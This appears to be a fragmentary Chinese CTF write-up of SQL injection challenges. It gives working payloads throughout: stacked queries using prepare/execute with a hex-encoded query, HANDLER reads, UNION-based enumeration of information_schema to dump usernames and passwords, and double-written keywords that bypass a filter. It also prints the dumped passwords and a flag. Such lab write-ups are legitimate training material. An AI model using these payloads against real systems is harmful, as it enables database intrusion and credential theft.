union select 1,2;
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
1';SeT@half=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @half;execute execsql;#
1'; handler `1919810931114514` open as `half`; handler `half` read next;#
得到用户名和密码
当输入order by 4,结果出错,说明该表有三个字段
admin’ union select 1,2,3 #
查到了admin的结果,那么要是前面的用户不存在,那么就会出现联合查询的结果.输入1’ union select 1,2,3#
函数 | 作用 |
---|---|
version() | 查看数据库版本 |
database() | 查看数据库名 |
user() | 查看用户名 |
@@version_compile_os | 查看操作系统版本 |
输入1’ union select 1,database(),user()#
得到数据库为geek
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到数据表名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
1' union select 1,2,group_concat(id,username,password) from geekuser#
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
l0ve1ysq1数据表
该结果超级长,右键检查,查看源码,复制
Your password is '1cl4ywo_tai_nan_le,
2glzjinglzjin_wants_a_girlfriend,
3Z4cHAr7zCrbiao_ge_dddd_hm,
40xC4m3llinux_chuang_shi_ren,
5Ayraina_rua_rain,
6Akkoyan_shi_fu_de_mao_bo_he,
7fouc5cl4y,
8fouc5di_2_kuai_fu_ji,
9fouc5di_3_kuai_fu_ji,
10fouc5di_4_kuai_fu_ji,
11fouc5di_5_kuai_fu_ji,
12fouc5di_6_kuai_fu_ji,
13fouc5di_7_kuai_fu_ji,
14fouc5di_8_kuai_fu_ji,
15leixiaoSyc_san_da_hacker,
16flagflag{37153c15-ae06-433e-b0f7-684ebfa5f63f}'
咋不好使了
出现了报错提示
猜测可能是过滤了or字符,双写试试,是否能绕过
绕过union、select
输入1’ ununionion seselectlect 1,database(),user()#
绕过from、where
1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘geek’#
b4bsql数据表
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#
geekuser数据表
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘geekuser’#
规规矩矩查询结束,没有查到flag
1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata #
1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#
1’ ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)#